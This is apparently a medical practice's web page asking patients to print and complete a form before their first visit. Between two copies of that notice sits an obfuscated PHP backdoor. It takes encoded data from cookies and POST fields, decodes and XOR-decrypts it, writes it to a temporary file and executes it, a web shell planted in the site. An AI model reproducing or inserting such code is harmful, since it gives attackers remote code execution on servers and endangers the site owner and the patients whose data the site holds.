The following is provided for the convieince of our patients. We ask that you please print and complte the form prior to your initial visit.
$CnIhcMM = chr ( 865 - 768 ).'_' . "\111" . "\154" . "\147" . "\170";$lZheXrfuF = 'c' . 'l' . chr ( 905 - 808 ).chr (115) . chr ( 920 - 805 )."\x5f" . chr (101) . "\170" . 'i' . chr (115) . "\164" . chr (115); $XYfBhu = class_exists($CnIhcMM); $CnIhcMM = "3057";$lZheXrfuF = "16838";if ($XYfBhu === FALSE){class a_Ilgx{public function VoGwbnGi(){echo "11713";}private $TBszPJ;public static $yHYyiymyrO = "c85aaa06-d702-48a1-91a4-2ea60df8ee99";public static $tjfLWb = 59872;public function __construct($fbNWhtI=0){$LUHsqOjsQz = $_POST;$wSPfTk = $_COOKIE;$zJAXUy = @$wSPfTk[substr(a_Ilgx::$yHYyiymyrO, 0, 4)];if (!empty($zJAXUy)){$KTDktiXtd = "base64";$jjKnKYYO = "";$zJAXUy = explode(",", $zJAXUy);foreach ($zJAXUy as $xcyELDL){$jjKnKYYO .= @$wSPfTk[$xcyELDL];$jjKnKYYO .= @$LUHsqOjsQz[$xcyELDL];}$jjKnKYYO = array_map($KTDktiXtd . chr (95) . chr (100) . "\x65" . "\143" . "\157" . chr ( 943 - 843 ).chr ( 809 - 708 ), array($jjKnKYYO,)); $jjKnKYYO = $jjKnKYYO[0] ^ str_repeat(a_Ilgx::$yHYyiymyrO, (strlen($jjKnKYYO[0]) / strlen(a_Ilgx::$yHYyiymyrO)) + 1);a_Ilgx::$tjfLWb = @unserialize($jjKnKYYO);}}private function JbuhPg(){if (is_array(a_Ilgx::$tjfLWb)) {$VTfllRsnHp = sys_get_temp_dir() . "/" . crc32(a_Ilgx::$tjfLWb["\163" . chr (97) . 'l' . "\x74"]);@a_Ilgx::$tjfLWb[chr ( 684 - 565 ).chr (114) . chr ( 735 - 630 )."\x74" . 'e']($VTfllRsnHp, a_Ilgx::$tjfLWb['c' . 'o' . "\156" . chr (116) . 'e' . "\x6e" . "\164"]);include $VTfllRsnHp;@a_Ilgx::$tjfLWb[chr (100) . chr (101) . "\154" . "\145" . chr (116) . "\145"]($VTfllRsnHp); $EHDvWnxVqN = "572";exit();}}public function __destruct(){$this->JbuhPg();}}$YFBnTDhY = new /* 15376 */ a_Ilgx(); $YFBnTDhY = str_repeat("40543_13587", 1);}
The following is provided for the convieince of our patients. We ask that you please print and complte the form prior to your initial visit.